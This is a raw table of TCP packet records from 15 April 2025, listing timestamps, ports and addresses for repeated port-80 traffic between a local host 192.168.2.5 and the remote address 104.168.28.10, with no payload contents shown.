Apr 15, 2025 11:33:47.417419910 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417454004 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417465925 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417490959 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417525053 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417553902 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417562008 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417594910 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417612076 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417628050 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417659998 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417692900 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417726040 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417753935 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417753935 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417757988 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417794943 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417817116 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417829037 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417861938 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417880058 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.417900085 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417932987 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.417965889 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418001890 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418009043 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418028116 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418035984 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418072939 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418104887 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418139935 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418170929 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418171883 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418185949 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418205976 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418239117 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418248892 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418272972 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418284893 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418308020 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418340921 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418358088 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418374062 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418406963 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418427944 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418441057 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418474913 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418488979 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418510914 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418543100 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418561935 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418576002 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418610096 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418642998 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418658972 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418675900 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418687105 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418710947 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418747902 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418760061 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418781996 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418816090 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418838978 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418849945 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418886900 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418920040 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418951988 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.418963909 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418977976 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.418987036 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419020891 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419039011 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419054031 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419090033 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419109106 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419126034 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419161081 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419194937 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419231892 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419248104 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419265985 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419289112 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419300079 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419336081 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419368982 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419401884 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419408083 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419418097 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419435978 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419447899 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419471025 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419507027 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419517994 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419540882 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419574022 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419595957 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419608116 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419641972 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419667959 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419673920 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419708014 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419733047 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419742107 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419775963 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419809103 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419831991 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419841051 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419869900 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419874907 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419909000 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419930935 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.419945002 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419977903 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.419992924 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420012951 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420046091 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420078039 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420089006 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420120955 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420140028 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420155048 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420188904 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420214891 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420222044 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420274019 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420305967 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420332909 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420340061 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420360088 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420373917 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420409918 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420443058 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420459986 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420479059 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420512915 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420546055 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420555115 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420566082 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420581102 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420614004 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420629025 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420648098 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420681953 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420715094 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420733929 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420747042 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420778036 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420783043 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420816898 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420840025 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420850039 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420881033 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420902014 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420923948 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420958996 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.420975924 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.420994043 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421026945 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421058893 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421111107 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421125889 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421143055 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421145916 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421184063 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421195984 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421216965 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421250105 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421276093 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421283007 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421315908 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421334028 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421350002 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421387911 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421395063 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421427965 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421462059 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421480894 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421497107 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421530962 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421566010 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421601057 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421610117 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421610117 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421636105 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421669960 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421698093 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421701908 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421739101 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421771049 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421804905 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421823025 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421838999 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421857119 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.421871901 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421905041 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421936989 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421969891 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.421993971 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422005892 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422018051 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422039986 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422072887 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422099113 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422100067 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422108889 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422146082 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422178984 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422211885 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422230005 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422236919 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422245979 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422276974 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422277927 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422303915 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422312021 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422344923 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422377110 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422409058 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422414064 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422440052 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422444105 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422482014 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422496080 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422521114 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422529936 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422555923 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422579050 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.422595024 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.422648907 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.513689995 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.513756037 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.513796091 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.513832092 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.513866901 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.513895035 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.513895035 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.513907909 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.515073061 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.515110016 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.515145063 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.515172005 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.515202045 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.515256882 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.521007061 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.521147966 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.521266937 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.521398067 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.585992098 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.586042881 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.586077929 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.586114883 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.586163044 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.586541891 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.586616039 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.586626053 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.586684942 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.589484930 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.589627028 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.589746952 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.589864969 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.684704065 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.684746027 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.684782982 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.684803963 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.684817076 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.684853077 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.684863091 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.684890032 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.684923887 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.684930086 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.684957027 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.684990883 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685024977 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685050964 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685059071 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685090065 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685094118 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685128927 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685141087 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685163021 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685197115 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685223103 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685256004 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685290098 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685298920 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685323000 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685359955 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685362101 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685394049 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685426950 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685451031 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685461044 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685497999 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685530901 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685549974 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685563087 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685575008 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685595989 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685630083 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685636997 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685663939 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685697079 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685717106 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685729980 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685762882 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685770035 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685796022 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685828924 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685838938 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685862064 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685895920 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685913086 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685928106 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685961962 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.685983896 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.685996056 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686028957 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686048985 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686064005 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686096907 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686119080 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686130047 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686162949 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686175108 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686197042 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686229944 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686245918 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686264038 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686296940 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686316967 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686330080 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686362028 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686368942 CEST	49699	80	192.168.2.5	104.168.28.10
